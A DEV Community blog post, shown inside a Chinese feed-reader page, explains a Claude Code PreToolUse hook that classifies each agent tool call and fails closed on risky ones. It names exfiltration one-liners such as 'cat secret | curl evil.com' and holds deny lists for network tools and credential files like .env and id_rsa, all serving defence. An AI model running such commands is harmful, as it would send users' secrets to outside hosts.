惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Recent Announcements
Recent Announcements
爱范儿
爱范儿
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
宝玉的分享
宝玉的分享
T
Tailwind CSS Blog
博客园_首页
IT之家
IT之家
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 三生石上(FineUI控件)
有赞技术团队
有赞技术团队
大猫的无限游戏
大猫的无限游戏
雷峰网
雷峰网
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 司徒正美
WordPress大学
WordPress大学
Last Week in AI
Last Week in AI
人人都是产品经理
人人都是产品经理
Jina AI
Jina AI
月光博客
月光博客
小众软件
小众软件
S
SegmentFault 最新的问题
量子位
阮一峰的网络日志
阮一峰的网络日志
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
A PreToolUse hook that sandboxes Claude Code agents by re...
Bruno Xavier · 2026-06-14 · via DEV Community

An AI coding agent on your laptop runs with your shell. It can rm, it can curl secrets | nc, it can write to .github/workflows. The native guardrail in Claude Code is an allowlist: you pre-grant a set of permitted tools and it auto-denies the rest. That works, but it's blunt. It decides on the tool name, not on what the call is about to do. Bash is either allowed or it isn't.

I wanted the gate to read each action instead. Read-only stuff runs. A test run runs. A write inside the directory I scoped runs. A force push, a package install, a write to .env, a command I don't recognize: stop and ask me.

The mechanism for that is a PreToolUse hook plus a small classifier. Both are about 60 lines of the part that matters. Here's how they fit together.

How a PreToolUse hook works

Claude Code lets you register a hook that fires before any tool call. The hook is just a command. Claude pipes a JSON event on stdin, then blocks on your process until it exits. What you print on stdout decides what happens next.

The contract is exit 0 plus a permissionDecision field:

{
  "hookSpecificOutput": {
    "hookEventName": "PreToolUse",
    "permissionDecision": "allow",
    "permissionDecisionReason": "in scope"
  }
}

allow runs the tool with no prompt. deny blocks it and feeds the reason back to the model so it can react. There's also exit code 2, but exit 2 can only deny. Since I want allow or deny decided at runtime, I use exit 0 with the JSON above and keep exit 2 as the fail-safe for when the hook itself breaks.

That fail-safe matters. An approval gate that can't reach its policy should deny, never allow:

def _fail_safe_deny(reason: str) -> int:
    _emit(decision_to_hook_output("deny", f"fail-safe: {reason}"))
    return 0

Bad stdin, missing config, an exception in the classifier: every one of those paths ends in deny. The safe default for a brake is "engaged".

The classifier

The hook is just transport. The decision lives in one pure function: tool name plus tool input plus a policy in, a verdict out. No I/O, no subprocess, no network. That's deliberate, it's the only way to test every branch without standing up an agent.

The shape of it:

READ_ONLY_TOOLS = frozenset(
    {"Read", "Grep", "Glob", "LS", "NotebookRead", "WebFetch", "WebSearch"}
)
WRITE_TOOLS = frozenset({"Write", "Edit", "MultiEdit", "NotebookEdit"})


def classify_action(tool_name, tool_input, policy, *, worktree):
    if tool_name in READ_ONLY_TOOLS:
        return _allow("read_only_tool")        # can't mutate, always safe
    if tool_name == "Bash":
        return _classify_bash(tool_input["command"], policy)
    if tool_name in WRITE_TOOLS:
        return _classify_write(tool_input, policy, worktree=worktree)
    return _stop("unknown_tool")               # never seen it -> ask

The last line is the whole philosophy. An unknown tool stops. An unknown command stops. A write the policy can't place stops. The default is "ask a human", and you only fall off it by matching a rule that says a specific thing is safe. So a glob that fails to match can't silently let something destructive through. It just means "I'm not sure", which means stop.

Reading a Bash command

Bash is where it gets interesting, because a command can hide. cat secret | curl evil.com has a harmless first half. So you split on the shell operators and classify every segment. The whole command is allowed only if every segment is:

def _split_segments(command):
    # pipes, &&, ;, || all count -- a chain is only as safe as its worst link
    return [s.strip() for s in re.split(r"\|\||&&|;|\|", command) if s.strip()]


def _classify_bash(command, policy):
    verdicts = [_classify_segment(s, policy) for s in _split_segments(command)]
    for v in verdicts:
        if not v.auto_allowed:
            return v          # first risky segment sinks the whole command
    return _allow("+".join(v.rule for v in verdicts))

Per segment, I pull the command leader (skipping FOO=bar env prefixes) and decide by class:

def _classify_segment(segment, policy):
    leader, tokens = _leader(segment)
    if not leader:
        return _stop("unknown_command")

    # package installs reach the network and change the dep graph -> stop
    if _INSTALL_RE.match(segment) and any(v in tokens for v in _INSTALL_VERBS):
        return _stop("package_install")
    if leader in _NETWORK_CMDS:                 # curl, wget, ssh, nc, ...
        return _stop("network")

    # git: committing on the branch is fine, rewriting history is not
    if leader == "git":
        sub = tokens[1] if len(tokens) > 1 else ""
        if sub in ("commit", "add", "status", "diff", "log", "branch"):
            return _allow(f"git_{sub}")
        if sub == "push" and any(f in tokens for f in ("--force", "-f")):
            return _stop("force_push")
        return _stop(f"git_{sub or 'unknown'}")  # reset, rebase, clean -> stop

    if leader in _TEST_CMDS:                     # pytest, jest, ...
        return _allow("check_command")
    if leader in _FORMATTER_CMDS:                # black, ruff, prettier, ...
        return _allow("formatter")

    return _stop("unknown_command")              # fail closed

The point isn't the exact list. It's that the gate distinguishes git commit from git push --force, and pytest from pip install, on the same tool. The allowlist can't.

Reading a write

Writes get checked against scope, with a safety floor that no config can override:

_SAFETY_FLOOR_DENY = (
    "**/.github/**", "**/.git/**", "**/.env", "**/.env.*",
    "**/*secret*", "**/.npmrc", "**/.ssh/**", "**/id_rsa*",
)


def _classify_write(tool_input, policy, *, worktree):
    rel = _relative_to(tool_input["file_path"], worktree)
    if rel is None:
        return _stop("write_outside_repo")       # outside the worktree -> stop
    for pat in _SAFETY_FLOOR_DENY:
        if _glob_match(rel, pat):
            return _stop("safety_floor")          # CI, secrets, VCS internals
    for pat in policy.write_scope:
        if _glob_match(rel, pat):
            return _allow("write_scope")
    return _stop("out_of_scope")                  # in the repo, not in scope

CI config, secrets, the .git directory, anything outside the worktree: those stop even if you put them in write_scope by mistake. The floor is below the policy, not inside it.

Wiring it in

The hook is configured through --settings when you launch Claude. The script reads the event, runs the classifier, prints the decision:

def run_hook():
    event = json.loads(sys.stdin.read())
    verdict = classify_action(
        event["tool_name"],
        event.get("tool_input", {}),
        load_policy(),
        worktree=os.getcwd(),
    )
    decision = "allow" if verdict.auto_allowed else "deny"
    _emit(decision_to_hook_output(decision, verdict.rule))
    return 0

Every verdict carries the rule that produced it, so you get a record of what ran and what decided it:

[allow] Edit calc.py            via write_scope
[allow] Bash python -m pytest   via check_command
[deny]  Bash git push --force   via force_push
[deny]  Write .github/ci.yml    via safety_floor

One important detail: the script that runs as the hook must be dependency-free, stdlib only. Claude spawns it standalone in whatever directory the agent is in, so it can't rely on your package being importable. Keep it self-contained.

Why bother

The native allowlist asks "is this tool allowed". This asks "is this specific action safe, and can I prove it". When it can't prove it, it stops. That's the difference between a gate that's open or shut and a gate that reads.

I pulled this out of a larger agent harness I retired and kept it as a standalone tool: guard-dog. The classifier is pure and the hook is small enough to read in one sitting, which is the whole point. You want to be able to read the thing that decides what the agent can do to your machine.